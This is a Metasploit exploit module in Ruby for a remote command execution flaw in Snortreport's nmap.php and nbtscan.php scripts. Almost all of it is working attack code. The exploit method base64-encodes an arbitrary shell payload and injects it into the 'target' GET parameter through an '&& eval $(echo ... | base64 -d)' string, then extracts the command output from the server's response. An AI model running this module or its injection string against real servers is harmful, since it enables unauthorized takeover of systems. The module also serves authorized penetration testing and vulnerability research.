Snortreport - '/nmap.php' / 'nbtscan.php' Remote Command Execution (Metasploit)

##
# $Id: snortreport_exec.rb 13843 2011-10-09 06:12:54Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => 'Snortreport nmap.php and nbtscan.php Remote Command Execution',
			'Description'    => %q{
				This module exploits an arbitrary command execution vulnerability in
				nmap.php and nbtscan.php scripts.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Paul Rascagneres'  #itrust consulting during hack.lu 2011
				],
			'Version'        => '$Revision: 13843 $',
			'Payload'        =>
			{
				'Compat'     =>
				{
					'PayloadType'  => 'cmd',
					'RequiredCmd'  => 'generic perl ruby bash telnet',
				}
			},
			'Platform'       => ['unix', 'linux'],
			'Arch'           => ARCH_CMD,
			'Targets'        => [['Automatic',{}]],
			'DisclosureDate' => 'Sep 19 2011',
			'DefaultTarget'  => 0
		))

		register_options(
			[
				OptString.new('URI', [true, "The full URI path to nmap.php or nbtscan.php", "/snortreport-1.3.2/nmap.php"]),
			],self.class)
	end

	def exploit
		base64_payload = ""
		base64_payload_temp=Base64.encode64(payload.encoded).chomp
		base64_payload_temp.each_line do |line|
			base64_payload << line.chomp
		end

		start = "127.0.0.1 && echo XXXXX && eval $(echo "
		last  = " | base64 -d) && echo ZZZZZ"
		custom_payload = start << base64_payload << last

		res = send_request_cgi({
			'uri'       => datastore['URI'],
			'vars_get'  =>
			{
				'target' => custom_payload
			}
		},10)

		if (res)
			to_print=false
			already_print=false
			part=res.body.gsub("<BR>","")
			part.each_line do |line|
				if line =~ /ZZZZZ/
					to_print=false
				end
				if to_print == true
					print(line)
				end
				if line =~ /XXXXX/
					already_print=true
					to_print=true
				end
			end

			if already_print == false
				print_error("This server may not be vulnerable")
			end
		else
			print_error("No response from the server")
		end
	end
end